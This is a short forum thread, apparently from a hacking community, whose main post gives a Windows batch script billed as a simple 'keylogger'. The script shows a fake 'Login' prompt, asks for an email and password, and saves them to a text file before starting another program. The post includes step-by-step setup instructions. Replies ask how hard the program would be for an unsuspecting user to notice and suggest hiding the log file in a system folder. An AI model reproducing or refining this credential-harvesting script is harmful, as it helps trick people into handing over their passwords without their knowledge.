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  1. Very nifty little trick. How much does the program interfere as the user goes about their buisness? Or more concisely how much effort would an unsuspecting user need to put into noticing the program to find it? let's assume the logs file has been moved to a deep system folder rather than the desktop to circumvent that issue.
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  2. Hewfil1 Houston
    why not just use keepass x or something?

    Because I don't want to. I like the keylogger because it requires an effort on my part.
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  3. arthur treacher African Astronaut
    why not just use keepass x or something?
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  4. Hewfil1 Houston
    If you change the word after C:in line 8 to something different, can you name the folder on your desktop that same name?

    forgive the dumb question, I suck at computers.

    You could try. I haven't done it considering I only use mine for saving passwords because I have to change them constantly.
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  5. SBTlauien African Astronaut
    I no use Windows.
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  6. arthur treacher African Astronaut
    If you change the word after C:in line 8 to something different, can you name the folder on your desktop that same name?

    forgive the dumb question, I suck at computers.
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  7. Hewfil1 Houston
    The following is to be used for research purposes only, and I take no responsibility for anything done with malicious intent.

    Alright, we're just going to use Notepad to make a simple .bat (Batch) file, keylogger.

    Start by opening Notepad, then pasting in the following code:

    @echo off
    color a
    title Login
    cls
    echo Please Enter Email Adress And Password
    echo.
    echo.
    cd "C:\Logs"
    set /p user=Username:
    set /p pass=Password:
    echo Username="%user%" Password="%pass%" >> Log.txt
    start >>Program Here<<
    exit

    Make a folder on your desktop called "Logs". It must be logs or it will not work.

    Drag that folder into C:\

    Now run a test of your "Logger.bat".

    Once tested, go back to the "Logs" folder in C:\ and there will be a .txt file. If a second entry is made, the .txt will overwrite itself.

    Enjoy!
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